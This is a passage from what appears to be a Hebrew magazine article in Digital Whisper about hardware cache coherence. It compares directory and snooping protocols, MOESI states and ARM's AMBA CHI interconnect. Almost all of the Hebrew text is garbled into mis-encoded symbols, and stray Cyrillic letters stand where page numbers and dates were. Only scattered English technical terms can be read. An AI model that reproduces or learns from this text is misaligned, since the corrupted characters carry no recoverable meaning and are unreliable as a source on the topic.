directory ˪˰ ˶˟ˡˢ ,˸˶˥˞ ˢ˧˰˟ ˣ˞ ˢ˶ˬˣ˥ ˸˪˵˸ ˟˵˰ ˫˞ ˭˧˟ ,˭˧ˬˤ ˧˸˪˟˪ ˨˲ˣˢ ˸˞ ˷˟˷˪ ˪ˣ

.ˢ˪ˣ˩ ˸˩˶˰ˬˢ ˪˷ ˢ˸˪ˣ˰˲ 

 ˧˪ˣ˵ˣ˦ˣ˶˲˟ ˸ˣ˧˦ˮ˶ˢˣ˵Directory  

 ˧˪ˣ˵ˣ˦ˣ˶˲directories ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˸ˣ˪˟ˠˬˢ ˫˰ ˡˡˣˬ˸ˢ˪ ˢ˶˦ˬ˟ ˣ˶˴ˣˮ ˧snooping  ˸ˮ˧˥˟ˬ

scalability ˧˪ˣ˵ˣ˦ˣ˶˲˟ .snooping  ˪˩ˣ ,˸˶ˡˣ˯ˬ ˸˧˶ˣ˟˧˥ ˸˷˶ ˨˶ˡ ˸ˣ˶˟˰ˣˬ ˸ˣ˷˵˟ˢ ˪˩ ,˫˧˧˸˶ˣ˯ˬ

 ˸ˬˣ˰˪ .˸ˣ˪ˣˡˠ ˸ˣ˩˶˰ˬ˟ ˡ˟˩ ˯ˬˣ˰ ˶˴ˣ˧˷ ˢˬ ,˸ˣ˷˵˟ˢ ˪˩ ˸˞ ˡ˟˰˪ˣ ˟ˣ˵˰˪ ˫˧˟˧˧˥ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˧˶˵˟

 ˧˪ˣ˵ˣ˦ˣ˶˲ ,˸˞ˤdirectories ˢ˲˧˵˰ ˪˰ ˸˯˯ˣ˟ˬ˷ ˢˮˣ˷ ˢ˷˧ˠ ˫˧˰˧˴ˬ ˨˶ˣ˴ˢˬ ˰ˮˬ˧ˢ˪ ˸˶˷˲˞ˬˢ ,

 ˶˵˟ ˪˩˷ ˢ˟ˣ˥ˢˬˣ ˸˶ˡˣ˯ˬ ˶ˣˡ˧˷ ˸˷˶˟cache .ˢ˷˵˟ ˪˩˟ ˪˲˦˧ 

-sdirectory ˢ ˧˶˥˞ ˟˵ˣ˰-cache- ˧˟˴ˬ ,˪˷ˬ˪) ˣ˸ˣ˞ ˫˧˵˧ˤ˥ˬ ˫ˢ ˫˧˟˴ˬ ˣ˪˧˞˟ˣ ,˵ˣ˪˟ ˪˩˟ ˫˧˵˧ˤ˥ˬˢ ˫˧

MOESI ˶˵˟ ˶˷˞˩ .(cache ˸˞ ˥˪ˣ˷ ˞ˣˢ ,˫˧ˮˣ˸ˮ ˸˞˧˶˵˪ ˢ˷˵˟ ˣˬ˩ ,˸ˣ˧˦ˮ˶ˢˣ˵ ˸˷˵˟ ˰˴˟˪ ˢ˴ˣ˶ 

˪ ˸ˣ˶˧˷˧ ˢ˷˵˟ˢ-directory  ˸˰ˡˣˢ˟unicast. 

-sdirectory ˢ ˫˞ ,ˢˬˠˣˡ˪ .˨˧˷ˬˢ˪ ˡ˴˧˩ ˰ˣ˟˵˪ ˧ˡ˩ ˷˵ˣ˟ˬˢ ˵ˣ˪˟ˢ ˟˴ˬ ˸˞ ˵ˡˣ˟-directory  ˢˢˤˬ

 ˥˧ˮˮ ,˸˶˥˞ ˢ˟˧˪ ˪˷ ˸ˣ˪˰˟˟ ˞˴ˬˮ ˵ˣ˪˟ˢ˷Core 2˪ ˸ˣ˶˧˷˧ ˢ˷˵˟ˢ ˸˞ ˟˸ˮ˧ ˞ˣˢ ,-Core 2 ˷˵˟˧ˣ ,

 ˸˟˧˪ˬCore 2 ˪ ˵ˣ˪˟ˢ ˪˷ ˵˸ˣ˰ ˥ˣ˪˷˪-cache ˢ ,ˢ˰ˡˣˢˢ ˸˪˟˵ ˶˥˞˪ .˷˵˟ˬˢ-cache  ˪˷Core 2 

˪ ˫˧ˮˣ˸ˮˢ ˫˰ ˟˧˷˧-cache .ˢ˷˵˟ˢ ˸˞ ˰˴˧˟˷ 
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 ˧˪ˣ˵ˣ˦ˣ˶˲ ˭˧˟ ˭˧˧ˮ˰ˬ ˪ˡ˟ˢdirectories  ˧˪ˣ˵ˣ˦ˣ˶˲ ˭˧˟˪snooping  .˸ˣ˷˵˟˟ ˧˯˧˯˟ˢ ˪ˣ˲˧˦ˢ ˭˲ˣ˞˟ ˞ˣˢ

˷ ˡˣ˰˟-snooping  ˧˪ˣ˵ˣ˦ˣ˶˲ ,˸˶ˡˣ˯ˬ ˸˷˶˟ ˸ˣ˷˵˟ˢ ˪˩ ˸˞ ˣˡ˰˸˧ ˫˧˶˵˟ˢ ˪˩˷ ˨˩ ˪˰ ˨ˬ˸˯ˬ

directories ˢ ˧ˡ˧ ˪˰ ˸ˣ˶˧˷˧ ˸˪˲ˣ˦ˬ ˢ˷˵˟ ˪˩ ˶˷˞˩ ,˶˸ˣ˧ ˸ˡ˵ˣˬˬ ˢ˶ˣ˴˟ ˫˧ˡ˟ˣ˰-directory  ˫˧˟˧˩˶ˢˣ

 ˸ˣ˧ˢ˪ ˸˩˶˰ˬ˪ ˶˷˲˞ˬ˷ ˢˬ ,˫˧˧˦ˮˣˣ˪˶ˢscalability .˶˸ˣ˧ ˢ˪˧˰˧ˣ 

˪ˣ˵ˣ˦ˣ˶˲ Directory  

 ˪ˣ˵ˣ˦ˣ˶˲˟directoryˢ ,-directory  ˸ˣ˧˦ˮ˶ˢˣ˵ ˸˷˵˟ ˪˩ .˸˩˶˰ˬ˟ ˫˧ˮˣ˸ˮ ˵ˣ˪˟ ˪˩ ˟˴ˬ ˪ˣˢ˧ˮ˪ ˸˧˞˶˥˞

 ˧˶˵˟ˬ ˸ˣ˰˧ˠˬ˷cache ˪ ˸ˣ˶˧˷˧ ˸ˣ˥˪˷ˮ-directory ˸ˣ˦˪˥ˢ ˢ˞˧˟ˬˣ ˵ˣ˪˟ˢ ˟˴ˬ ˸˞ ˸ˮ˥ˣ˟ ˶˷˞ ,

ˢ ,˟˴ˬ˪ ˫˞˸ˢ˟ .˫˞˸ˢ˟-directory  ˧˶˵˟˪ ˢ˷˵˟ˢ ˸˞ ˶˧˟˰ˢ˪ ˣ˞ ,ˢˬ˴˰˟ ˢ˷˵˟˪ ˟˧ˠˢ˪ ˣ˞ ˢ˧ˣ˷˰

.˭˩ˬ ˶˥˞˪ ˣ˟˧ˠ˧˷ ,˫˧˲˯ˣˮ ˸ˣ˧˦ˮ˶ˢˣ˵ 

 ˪ˣ˵ˣ˦ˣ˶˲˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˧˴˵ˤˮ˶˦directory :˫˧˟˪˷ ˧ˠˣ˯ ˧ˮ˷˪ ˪˪˩ ˨˶ˡ˟ ˸ˣ˰ˠˣˮ 

1. ˫˧˟˪˷ ˧ˮ˷˸˷˵˟ ˟˪˷ : unicast  ˸˟ˣˠ˸ ˭˩ˬ ˶˥˞˪ˣunicast. 

2. ˫˧˟˪˷ ˢ˷ˣ˪˷ ˸˷˵˟ ˟˪˷ :unicast˪ ˸˶˟˰ˣˬ ˢ˷˵˟ˢ ˣ˟˷ ˟˪˷ ,-K  ˶˷˞˩) ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˶˵˟K  ˞ˣˢ

ˢ ˸˞ ˫˧ˣˣˢˬˢ ˫˧˲˸ˣ˷ˢ ˶˲˯ˬ-cache ˬ ˸ˣ˟ˣˠ˸ ˭˩ˬ ˶˥˞˪ˣ ,(˷˶ˡˮˢ-K .˫˧˶˵˟ˢ 

ˢ ˫˞ ,ˢˬˠˣˡ˪ ,˧˰˧˟˶ ˟˪˷ ˪˷ ˸ˣ˶˷˲˞ ˫ˠ ˸ˬ˧˧˵ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˢˬ ˵˪˥˟-directory  ˸ˣ˟ˣˠ˸˟ ˸˟˶ˣ˰ˬ

˪ ˰˧ˡˣˬ ˷˵˟ˬˢ ˫˞ ˣ˞ ˸ˣ˲˧˵˰-directory .ˢ˧˴˵ˤˮ˶˦ˢ ˫ˣ˧˯ ˪˰ 

 ˧˪ˣ˵ˣ˦ˣ˶˲˟ ,˨˩˪ ˡˣˠ˧ˮ˟snooping ˭˧˞˷ ˭ˣˣ˧˩ˬ .˸˩˶˰ˬ˟ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˧˶˵˟ ˪˩ ˭˧˟ ˳˲ˣˬ ˵ˣ˪˟ˢ ˟˴ˬ ˪˩ ,

ˣ˪˟ ˟˴ˬ ˪˷ ˪ˣˢ˧ˮ ˤ˩˶ˬ˵ ˪˩˪ ˢ˷˵˟ˢ ˪˷ ˶ˣˡ˧˷ ˷˶ˣˡ˷ ˢˬ ,˫˧˶˵˟ˢ ˪˩˪ ˸˥˪˷ˮ ˸˧˦ˮ˶ˢˣ˵ ˢ˷˵˟ ˪˩ .

˶˵˟ ˢ˟ˣˠ˸ ˸˪˟˵ ˭˩ˬ ˶˥˞˪ˣ ,unicast˟ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˧˴˵ˤˮ˶˦ ,˨˩ .-snooping  :˫˧˟˪˷ ˧ˮ˷ ˡ˧ˬ˸ ˸ˣ˪˪ˣ˩

 ˢ˟ˣˠ˸ ˟˪˷ˣ ˶ˣˡ˧˷ ˸˷˵˟ ˟˪˷unicast. 

 ˪ˣ˵ˣ˦ˣ˶˲˟ ˫ˠ ,˭˩ ˣˬ˩directory ˯˥˧˟ ˸ˣ˶ˡˣ˯ˬ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸ˣ˧˴˵ˤˮ˶˦ ˡ˴˧˩ˣ ˧˸ˬ ˶˧ˡˠˢ˪ ˨˶ˣ˴ ˷˧ ,

ˢ ˧˪ˣ˵ˣ˦ˣ˶˲ ˟ˣ˶˟ .˸ˣ˶˥˞ ˸ˣ˧˴˵ˤˮ˶˦˪-directory ˸ˣ˷˵˟ˢ ˣ˟˷ ˶ˡ˯ˢ ˧˲˪ ˰˟˵ˮ ˢ˧˴˵ˤˮ˶˦ ˪˷ ˶ˡ˯ˢ ,

˟ ˸ˣ˶ˡˣ˯ˬ-directoryˣ˟ ˸ˣ˷˵˟ ˫˧˥˪ˣ˷ ˸ˣ˧˦ˮ˶ˢˣ˵ ˧˶˵˟ ˶˲˯ˬ ˶˷˞˩ .-ˢ ,˸˧ˮˬˤ-directory  ˸˞ ˸˰˟ˣ˵

.˸ˣ˷˵˟ˢ ˪˷ ˡˣ˟˧˰ˢ ˶ˡ˯ 

˪ ˸ˣ˶˥˸ˬ ˸ˣ˷˵˟ ˧˸˷ ˭ˮ˷˧ ˶˷˞˩-directory ˫˰ ˸ˣ˪ˢˮ˸ˢˢ .˫ˡˣ˵ ˡ˟ˣ˰˸ ˢ˷˵˟ ˣˤ˧˞ ˸˰˟ˣ˵ ˸˷˶ˢ ,

ˢ˧˧ˮ˷ˢ ˢ˷˵˟ˢ ˢ ˪˷ ˧˲˧˴˲˯ˢ ˪ˣ˵ˣ˦ˣ˶˲˟ ˢ˧ˣ˪˸-directory  ˸ˣ˧ˣ˶˷˲˞ˢ .˸ˣ˶˥˸ˬˢ ˸ˣ˷˵˟ˢ ˠˣ˯˟ˣ

:˸ˣ˪˪ˣ˩ 

¶ ˢˮˣ˷˞˶ˢ ˢ˷˵˟ˢ ˶˥˞˪ ˡ˧ˬ ˡˣ˟˧˰.ˢˮˣ˷˞˶ˢ ˶˥˞˪ ˱˴˶˟ ˸ˡ˟ˣ˰ˬ ˢ˧˧ˮ˷ˢ ˢ˷˵˟ˢ : 

¶ ˢˮ˸ˬˢ˟ ˢ˶˧ˬ˷˟ ˸˶ˬ˷ˮ ˢ˧˧ˮ˷ˢ ˢ˷˵˟ˢ :-directory .ˢˮˣ˷˞˶ˢ ˢ˷˵˟ˢ ˸ˬ˪˷ˢ˪ ˡ˰ 

¶ ) ˧˪˧˪˷ ˶ˣ˷˧˞NACK(ˢ :-directory  ˸˞ ˷ˡ˥ˬ ˵˧˲ˮˢ˪ ˳˪˞ˬ˷ ,˷˵˟ˬ˪ ˧˪˧˪˷ ˶ˣ˷˧˞ ˸˰ˡˣˢ ˸˥˪ˣ˷

.ˣ˸˷˵˟ 



 
 

Cache Coherence 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 171, ˳˶ˬ нлнр  сп 
 

˟ ˷ˣˬ˧˷ˢ-directory ) ˶ˣˡ˧˯ ˸ˡˣ˵ˮ˩ordering point ˧˪ˣ˵ˣ˦ˣ˶˲ ˭˧˟ ˱˯ˣˮ ˧ˤ˩˶ˬ ˪ˡ˟ˢ ˷˧ˠˡˬ (directory 

 ˧˪ˣ˵ˣ˦ˣ˶˲˪snooping: 

 ˧˪ˣ˵ˣ˦ˣ˶˲˟snooping ˷˵˟ˢ ˪˩ ˶ˣˡ˧˯ ˧ˡ˧ ˪˰ ˰˟˵ˮ ˸ˣ˧˴˵ˤˮ˶˦ ˪˷ ˪˪ˣ˩ˢ ˶ˡ˯ˢ ,˫˧˧˸˶ˣ˯ˬˢ ˸˷˶˟ ˸ˣ

 ˶ˡ˯ ˧˲˪ ˡ˟ˣ˰˸ ˭ˣ˸ˮ ˵ˣ˪˟˪ ˢ˷˵˟ ˪˩˷ ˥˧˦˟ˬ ˵˶ ˣˮ˧˞ ˢˤˢ ˪˪ˣ˩ˢ ˶ˡ˯ˢ .˭˧˦ˣ˪˥˪ ˸˶ˡˣ˯ˬˢ ˶ˣˡ˧˷ˢ

.˭ˣ˶˩˧ˤ ˸ˣ˧˟˵˰ ˪ˡˣˬ ˰ˣ˴˧˟ ˪˰ ˪˵ˬ ˫ˠ ˞˪˞ ,ˢ˸˰ˠˢ 

 ˶˵˟ ˶˷˞˩˷ ˨˩ ,˶ˡ˯ ˣ˸ˣ˞˟ ˫˪ˣ˩˪ ˸˶˟˰ˣˬ ˞˧ˢ ,˸˥˪˷ˮ ˸ˣ˧˦ˮ˶ˢˣ˵ ˸˷˵˟ ˶˷˞˩snooping  ˸˞ ˪˟˵ˬ

ˢ ˸˷˵˟-ReadUnique  ˪ˣ˵ˣ˦ˣ˶˲˟)AMBA CHI˷ ˵˧˯ˢ˪ ˪ˣ˩˧ ˞ˣˢ ,ˣ˪˷ (-cache- ˸˞ ˣ˪˦˟˧ ˫˧˶˥˞ˢ ˫˧

 ˟˴ˬ˟ ˫˧˵ˣ˪˟ˢ ˪˷ ˱˵ˣ˸ˢshare .˷ˡ˥ ˸ˣ˧˦ˮ˶ˢˣ˵ ˭ˡ˧˰ ˪˧˥˸ˢ˪ ˧˸ˬ ˸˰ˡ˪ ˣ˪ ˶˷˲˞ˬ ˢˤ .˫˪˴˞ 

 ˧˪ˣ˵ˣ˦ˣ˶˲˟ ,˸˞ˤ ˸ˬˣ˰˪directoryˢ ˰˟ˣ˵ ˸ˣ˧˴˵ˤˮ˶˦ ˪˷ ˶ˡ˯ˢ ,-directory ˸ˣ˷˵˟˷ ˥˧˦˟ˢ˪ ˧ˡ˩ ,

˩˟ ˭˸˰ˠˢ ˶ˡ˯ ˧˲˪ ˣˡ˟ˣ˰˧ ˸ˣ˶˸ˣ˯ ˶˵˟˷ ˣ˷ˣ˶˧˲ ˶ˣˡ˧˷ˢ ˸˷˶˟ ˪˪ˣ˩ˢ ˶ˡ˯ˢ ˶ˡ˰˧ˢ .˫˧˸ˬ˴ˢ ˪

 ˪ˣ˵ˣ˦ˣ˶˲˟directory  ,ˢ˷˰ˬ˪ˣ ,ˢ˶ˡ˯ˣˢ ˣ˪˷ ˢ˷˵˟ˢ ˧˸ˬ ˰ˣ˟˵˪ ˧ˡ˩ ˸˲˯ˣˮ ˢ˧ˠ˦˶˦˯˞ ˫˷˧˧˪ ˷˶ˡˮ

ˢ ˧˪ˣ˵ˣ˦ˣ˶˲ ˟ˣ˶˷ ˭ˣˣ˧˩ˬ .ˣ˪˷ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˭ˡ˧˰˟ ˪˧˥˸ˢ˪ ˪ˣ˩˧ ˞ˣˢ ˧˸ˬ-directory  ˫˧˷ˬ˸˷ˬ ˫ˮ˧˞

 ˶ˡ˯ ˭˧˞ ,˭˧˦ˣ˪˥˪ ˶ˡˣ˯ˬ ˶ˣˡ˧˷˟ ˸ˣ˧ˢ˪ ˢ˩˧˶˴ ˢ˷˵˟ ˪˩ ,˸˞ˤ ˫ˣ˵ˬ˟ .ˣ˧˶˥˞ ˟ˣ˵˰˪ ˭˸˧ˮ˷ ˧˪˟ˣ˪ˠ

ˢ ˪˩˪ ˯˥˧˟ ˧˪˞ˣˡ˧˟˧ˡˮ˧˞ ˭˲ˣ˞˟ ˸˶ˡˣ˯ˬ-cache- ˸˷˵˟ ˪˷ ˢ˶˵ˬ˟ .˵ˣ˪˟ˢ ˪˷ ˵˸ˣ˰ ˵˧ˤ˥ˢ˪ ˫˧˪ˣ˩˧˷ ˫˧

ReadUnique ˶˵˟ ˪˩ ,cache ) ˶ˣ˷˧˞ ˸˰ˡˣˢ ˥ˣ˪˷˪ ˟˧˧˥ ˱˸ˣ˷ˬ ˵˸ˣ˰ ˵˧ˤ˥ˬ˷Ack ˶˥˞˪ ˸˷˶ˣ˲ˬ (

 ˵˪˧˯ˣ ˢ˷˵˟ˢ ˸˞ ˡ˟˧˰ ˞ˣˢ˷ ˣ˪˷ ˢ˷˵˟ˢ˷ ˷˵˟ˬ˪ ˰˧ˡˣˢ˪ ˸ˮˬ ˪˰ ,ˣ˪˷ ˫˧˵˸ˣ˰ˢˬ ˱˵ˣ˸ˢ ˸˞

.ˢ˶ˡ˯ˣˢ 

 ˧˪ˣ˵ˣ˦ˣ˶˲ ˸˞ˣˣ˷ˢdirectory x-snooping  ˪ˣ˵ˣ˦ˣ˶˲ .˫ˢ˧ˮ˧˟ ˸˧˯˧˯˟ˢ ˢ˶˷˲ˢ ˸˞ ˢ˷˧ˠˡˬdirectory 

 ˰˧˴ˬscalability  ˢˢˣ˟ˠ ˢ˲˧˵˰ ˸ˬ˶ ˪˷ ˶˧˥ˬ˟ ˸˞ˤ ˨˞ ,˯˲ ˟˥ˣ˶ ˸ˣ˥˲ ˷˶ˣˡ ˞ˣˢ ˶ˬˣ˪˩ ,˶˸ˣ˧ ˢˢˣ˟ˠ

 ˧˪ˣ˵ˣ˦ˣ˶˲˟ .˶˸ˣ˧directory ˧˪ˣ˵ˣ˦ˣ˶˲˟ ˫˧˟˪˷ ˧ˮ˷˪ ˡˣˠ˧ˮ˟ ,˫˧˟˪˷ ˢ˷ˣ˪˷ ˸ˣ˪˪ˣ˩ ˸ˣ˧˴˵ˤˮ˶˦ˢˬ ˵˪˥ ,

snooping.˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˸ˣ˧˴˵ˤˮ˶˦ˢˬ ˵˪˥ ˪˷ ˢ˧ˢ˷ˢˢ ˸˞ ˶˧˟ˠˬ˷ ˢˬ , 

 ˪ˣ˵ˣ˦ˣ˶˲˟directoryˢ ˸˦˧˪˵ , ˭˲ˣ˞˟ .˸˲˯ˣˮ ˢ˰ˡˣˢ ˥ˣ˪˷˪ ˸ˣ˧˦ˮ˶ˢˣ˵ˢ ˶˵˟ ˸˞ ˰˧ˮˢ˪ ˢ˪ˣ˩˧ ˢ˰ˡˣ

 ˰ˣ˶˧˞ ˫˞ ,˧˪˪˩A  ˰ˣ˶˧˞˪ ˫ˣ˶ˠ˪ ˪ˣ˩˧ (˸ˣ˰ˡˣˢ ˸˦˧˪˵ ˭ˣˠ˩)B  ˣ˪˪ˢ ˫˧˰ˣ˶˧˞ˢ ˧ˮ˷ˣ ,(˸ˣ˰ˡˣˢ ˸˥˧˪˷ ˭ˣˠ˩)

ˣ ˸˷˶ ˧˶ˣ˷˧˵ ˣˬ˩) ˫˧˟˞˷ˬ ˸˞˴˵ˢ ˫˧˷˶ˣˡ-buffer- ˪˷ ˟˴ˬ ˫˰ ˸ˣˡˡˣˬ˸ˢˬ ˶ˢˤ˧ˢ˪ ˷˧ ,(˫˧

deadlock˸ˢ˪ ˪ˣ˪˰˷ , ˞˴ˬˮ˷ ˟˞˷ˬ˪ ˢ˩˥ˬ ˟˧˩˶ ˪˩ ˢ˟˷ ,˫˧˟˞˷ˬ˟ ˸˧˪ˠ˰ˬ ˸ˣ˪˸ ˸ˣ˶˴ˣˮ ˫˞ ˷˥˶

.˶˥˞ ˟˧˩˶ ˸ˣ˪˰˟˟ 
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AMBA CHI  

 ˸ˣ˴ˣ˟˵ ˭˧˟ ˫˧˪ˡ˟ˢˢ ˢˬ ˣˮ˧˞˶ ˣ˧˷˩˰˫˧˪ˣ˵ˣ˦ˣ˶˲  ˢˬ ˷ˬˬ ˭˧˟ˢ˪ ˧ˡ˩ ˵ˣˬ˰ ˶˸ˣ˧ ˪ˣ˪˴˪ ˶˷˲˞ˣ ˸ˣˮˣ˷

 ˪ˣ˵ˣ˦ˣ˶˲ˢ ˪˰ ˡˬ˪ˮ .ˡ˟˰ˬ˟ ˢ˶ˣ˵AMBA CHI  ˪˷ARM  ˠˣ˯ˬ ˪ˣ˵ˣ˦ˣ˶˲ ˞ˣˢ˷Directory. 

:ˢ˶˰ˢ  ˟˧˧˥ ˞˪ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪ˣ˵ˣ˦ˣ˶˲ ˪˷ ˭ˣ˧˰˶ˢ ˸˞ ˭˧˟ˢ˪ ˢ˴ˣ˶˷ ˧ˬ .˨ˣ˶˞ ˸˴˵ ˞ˣˢ ˞˟ˢ ˶˟˯ˢˢ

 ˧ˡ˧ ˪˰ ˢˤ ˸˞ ˸ˣ˷˰˪AMBA CHI˲ ˪˰ ˞ˣ˶˵˪ ˪˷ˬ˪ ˶˷˲˞ . ˪ˣ˵ˣ˦ˣ˶MOESI ˪˰ ˶˧˟˯ˬ ˧ˮ˞ ˭˞˩ ,˪˟˞ .

AMBA CHI  ˢ˟˶ˢ ˪˷ ˢ˶˧ˢ˟ ˶˸ˣ˧ ˢ˟˶ˢ ˢˮ˟ˢ ˭˸ˣˮ ˢˤ ˧˸˰ˡ˪ˣ ,˦˶ˣ˲ˬ ˡˣ˞ˬˣ ˫˪˷ ˪ˣ˵ˣ˦ˣ˶˲ ˞ˣˢ ˧˩

.˫˧ˮˣ˷ˢ ˫˧˪ˣ˵ˣ˦ˣ˶˲˟ ˧ˣ˦˧˟ ˧ˡ˧˪ ˫˧˞˟˷ ˸ˣˮˣ˧˰˶ 

 ˣˢˬAMBA ? 

 ˪ˣ˵ˣ˦ˣ˶˲AMBA  ˪˷ ˶ˣ˴˧˵)Advanced Microcontroller Bus Architecture ˧ˡ˧ ˪˰ ˥˸ˣ˲˷ ˪ˣ˵ˣ˦ˣ˶˲ ˞ˣˢ (

ARM  ˸ˣ˩˶˰ˬ˟ ˫˧ˮˣ˷ ˢ˶ˬˣ˥ ˧˟˧˩˶ ˭˧˟ ˸˶ˣ˷˵˸ˢ ˪˷ ˢ˧˴ˤ˧˦˶ˡˮ˦˯˪ ˡ˰ˣ˧ˬˣSoC ˫˧˪ˣ˵ˣ˦ˣ˶˲ ˸˥˲˷ˬ .

 ˪˪ˣ˩ ,˸˩˶˰ˬˢ ˭ˣˮ˩˸˟ ˫˧˦˟˧ˢ ˪˷ ˟˥˶ ˭ˣˣˠˬ ˢ˯˩ˬ ˣˤ˸˧ˠˣ˪ˣ˲ˣ˦ bus, ) ˸ˣ˶˶ˣ˟arbitration ˫˧˟˧˩˶ ˭˧˟ (

 ˪ˣˢ˧ˮ ,˫˧˲˸ˣ˷ˬ ˫˧˟˞˷ˬ˪ ˢ˷˧ˠ ˫˧˷˵˟ˬˢsignaling ˭ˣˮ˩˸ ,interconnect ˪ˬ˷˥ ˸˩˧˶˴ ˪ˣˢ˧ˮ ,

 ˪ˣ˵ˣ˦ˣ˶˲ˢ .ˢ˥˦˟˞ˣAMBA  ˸ˣ˧˴˵ˤˮ˶˦ ˪˷ ˫˧ˮˣˣˠˬ ˫˧˩˶˴˪ ˫˧ˬ˞˸ˣˬ˷ ˫˧ˮˣ˷ ˫˧˦˶˲ˬ ˶˲˯ˬ ˪˪ˣ˩

 ˪˪ˣ˩ ,˸˩˶˰ˬ˟ ˫˧ˮ˩ˣ˯ˣAHB, APB, AXI, ACE x-CHI ˡ˥˞ ˪˩ . ˪˷ ˫˧ˣ˯ˬ ˦˟˧ˢ˟ ˡ˵ˬ˸ˬ ˣ˪˞ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˬ

.˸˩˶˰ˬˢ ˧˟˧˩˶ ˭˧˟ ˸˶ˣ˷˵˸ˢ 

 ?˸˧˦ˮ˶ˢˣ˵ ˸˩˶˰ˬ ˧ˢˬ 

 ˸˩˶˰ˬ ˣ˞ ˫˧ˡ˟˰ˬ ˶˲˯ˬ ˢ˟˷ ˸˩˶˰ˬ ˞˧ˢ ˸˧˦ˮ˶ˢˣ˵agent- ˭ˣ˶˩˧ˤ ˧ˬˣ˵˧ˬ ˫˸ˣ˞˪ ˸˷ˠ˪ ˫˧˪ˣ˩˧ ,˫˧

 ˫ˣ˵˧ˬ˟ ˧ˣˮ˧˷ ˪˩ .˫˧˟˧˩˶ˢ ˪˩ ˭˧˟ ˫˧ˮˣ˸ˮˢ ˪˷ ˸˧˟˵˰ ˢˠˣ˴˸ ˪˰ ˢ˶˧ˬ˷ ˧ˡ˩ ˨ˣ˸ ,˫˧˧ˣˮ˧˷ ˫ˢ˟ ˰˴˟˪ˣ

ˢ ˪˩˪ ˷˧ˠˮ ˸ˣ˧ˢ˪ ˨˧˶˴ ˫˧ˣ˯ˬ ˭ˣ˶˩˧ˤ-agent- ˭˩ˡˣ˰ˬˢ ˰ˡ˧ˬˢ ˸˞ ˣ˞˶˧ ˫˪ˣ˩˷ ˨˩ ,˸ˬ˞ ˭ˬˤ˟ ˫˧ ˢ˶ˣ˴˟

 ˢ˶˧ˬ˷ ,˸˞ˤ ˫˰ .˧ˣ˲˧ˮˢˣ ˸ˣˮ˩˸ˢ ˧˩˧˪ˢ˸ ˪˰ ˪˵ˬˣ ˫˧ˮˣ˸ˮ ˪˷ ˶˸ˣ˧ ˶˧ˢˬˣ ˪˧˰˧ ˡˣ˟˧˰ ˶˷˲˞ˬ ˢˤ .˸˧˟˵˰

 ˶˲˯ˬ ˭˧˟ ˸ˣ˧˟˵˰ ˪ˣˢ˧ˮ ˣˬ˩ ,˫˧˧ˮ˩˦ ˫˧˶ˠ˸˞ ˫ˠ ˢˬ˧˰ ˢ˞˧˟ˬ ˸ˣ˧˦ˮ˶ˢˣ˵ ˪˰agent- ˸ˣ˰ˮˬ˧ˢ ,˫˧

 ˪˰ ˢ˶˧ˬ˷ ˭˩ˣ ,ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˸ˣ˪ˣ˰˲ ˭˧˟ ˫˧˦˵˧˪˲ˮˣ˵ˬlatency ˯˲ ˟˥ˣ˶ˣ ˨ˣˬˮ  ˨˶ˣ˴ ˷˧ ,˨˩˧˲˪ .˵˲˯ˬ

ˢ ˭˧˟ ˭ˣ˶˩ˮ˯ˢˣ ˸˶ˣ˷˵˸ˢ ˭˲ˣ˞ ˸˞ ˶˧ˡ˯˧˷ ˟˦˧ˢ ˶ˡˠˣˬ ˪ˣ˵ˣ˦ˣ˶˲˟-agent- ˸˞ ˥˧˦˟ˢ˪ ˧ˡ˩ ˫˧

.˸ˣ˧˦ˮ˶ˢˣ˵ˢ 

 ˣˢˬAMBA5 CHI ? 

 ˪ˣ˵ˣ˦ˣ˶˲AMBA5 CHI  ˪˷ ˶ˣ˴˧˵)Coherent Hub Interface ˪ˣ˵ˣ˦ˣ˶˲ ˸˞ ˱˧˪˥ˢ˪ ˡ˰ˣˮ˷ ˪ˣ˵ˣ˦ˣ˶˲ ˞ˣˢ ,(

AMBA4 ACE ˸ˣ˧˦ˮ˶ˢˣ˵˟ ˢ˩˧ˬ˸ ˨ˣ˸ ,cache  ˭ˣˠ˩ ,˫˧˶˦˯˞ˬ ˪˷ ˟˶ ˶˲˯ˬ ˸ˣ˪˰˟ ˸ˣ˩˶˰ˬ˟CPUs x-

GPUs ˣ˞ ˫˧ˡ˟˰ˬ ˪˷ ˟˶ ˶˲˯ˬ ˭˧˟ ˫˧ˮˣ˸ˮ ˱ˣ˸˧˷ ˶˷˲˞ˬ ˢˤ ˪ˣ˵ˣ˦ˣ˶˲ .agent- ˫ˣ˥˸ ˸˶ˠ˯ˬ˟ ˫˧



 
 

Cache Coherence 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 171, ˳˶ˬ нлнр  сс 
 

 ˞˶˵ˮ˷ ˧ˤ˩˶ˬ ˟˧˩˶ ˨˶ˡ ˭ˣ˶˩˧ˤ˪ ˫˧˷ˠ˧ˮ ˫ˢ ˶˷˞˩ ,˧˦ˮ˶ˢˣ˵Hub ˢ .˧˦ˮ˶ˢˣ˵-Hub  ˶˵˟˩ˣ ˨ˣˣ˸ˬ˩ ˡ˵˲˸ˬ

.˧˦ˮ˶ˢˣ˵ˢ ˫ˣ˥˸ˢ ˶ˣ˟˰ ˭ˣ˶˩˧ˤ 

 ˫˧˟˧˩˶ ˟-AMBA CHI  

Interconnect  

-sInterconnect  ˶ˣ˴˧˵˟ ˣ˞)ICN ˪ˣ˵ˣ˦ˣ˶˲˟ ˷ˬ˷ˬˢ ˸˶ˣ˷˵˸ˢ ˭ˣˮˠˮˬ ˞ˣˢ ,(CHI  ˭˧˟ ˰ˡ˧ˬ ˸˶˟˰ˢ˪

